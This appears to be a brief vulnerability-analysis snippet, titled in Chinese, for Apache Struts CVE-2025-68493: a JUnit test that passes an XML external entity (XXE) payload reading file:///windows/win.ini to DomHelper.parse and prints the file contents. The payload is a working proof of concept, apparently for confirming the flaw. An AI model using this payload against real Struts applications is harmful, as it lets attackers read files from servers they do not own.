Struts XXE 漏洞分析 CVE-2025-68493

package org.apache.struts2;  
  
import com.opensymphony.xwork2.util.DomHelper;  
import junit.framework.TestCase;  
import org.xml.sax.InputSource;  
  
import java.io.ByteArrayInputStream;  
  
public class CVETest extends TestCase {  
    public void testCVE() {  
        String poc = "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///windows/win.ini\">]><root>&xxe;</root>";  
        System.out.println(DomHelper.parse(new InputSource(new ByteArrayInputStream(poc.getBytes()))).getDocumentElement().getTextContent());  
    }  
}